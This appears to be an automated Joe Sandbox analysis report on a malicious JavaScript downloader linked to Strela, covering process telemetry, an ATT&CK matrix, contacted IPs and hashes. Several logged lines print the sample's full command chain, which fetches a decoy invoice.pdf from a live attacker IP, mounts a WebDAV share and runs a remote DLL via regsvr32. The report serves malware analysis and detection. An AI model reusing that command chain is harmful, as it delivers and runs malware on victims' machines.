Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5422			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4093			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2348	Thread sleep count: 5422 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2348	Thread sleep count: 4093 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1336	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5236	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2104	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3540	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7392	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2350506508.000001EE3E748000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@`{>
Source: svchost.exe, 00000009.00000002.3536330566.000001AC56A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@%&\
Source: net.exe, 00000007.00000002.2350506508.000001EE3E7AD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3537690053.000001AC5C25F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2350506508.000001EE3E7AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW~,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
647915480318827205.js	0%	ReversingLabs
647915480318827205.js	3%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/L	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/paceF(	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.2243994714.00000203FF19F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2354915588.000001AC5BFA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3537574320.000001AC5C215000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2350506508.000001EE3E799000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E76D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E748000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.2350506508.000001EE3E77C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/paceF(	net.exe, 00000007.00000002.2350506508.000001EE3E748000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587795
Start date and time:	2025-01-10 18:04:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	647915480318827205.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.219.243.226, 3.233.129.217, 52.6.155.20, 52.22.41.97, 172.64.41.3, 162.159.61.3, 2.23.242.162, 2.16.168.105, 2.16.168.107, 23.209.209.135, 23.204.152.210, 23.204.152.213, 192.168.2.6, 2.23.227.215, 13.107.246.45, 4.175.87.197, 104.78.188.188, 20.223.35.26, 2.23.227.221, 20.103.156.88, 150.171.27.10, 2.23.227.208, 20.223.36.55
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:05:24	API Interceptor	22x Sleep call for process: powershell.exe modified
12:05:28	API Interceptor	1x Sleep call for process: net.exe modified
12:05:28	API Interceptor	2x Sleep call for process: svchost.exe modified
12:05:41	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	324865730118751586.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47011380785516565.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	498419465975031972.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7503204021179918537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2649727971102843099.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21646213161445014123.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9751253252198928098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11661205473059428114.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	238395810148579476.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263103245304497
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0g:9JZj5MiKNnNhoxuJ
MD5:	6F2B78D00483E4E6009AA1FF26F510D9
SHA1:	5921C0B7150B98DD2BC1756D3F2BEF9B5FA7F0F7
SHA-256:	25094618BF8E425F709BB369126CF72DB7EC289F7B7DD180EB9F2C0AEB2017EA
SHA-512:	F6E2F28F3E52C425494F472E378F00324C9DA6B97A946AB58254E2558E3643E292444FE9449A8B3B2466B17514CC39CE3A3776580B3C554D7867639562A0FBBC
Malicious:	false
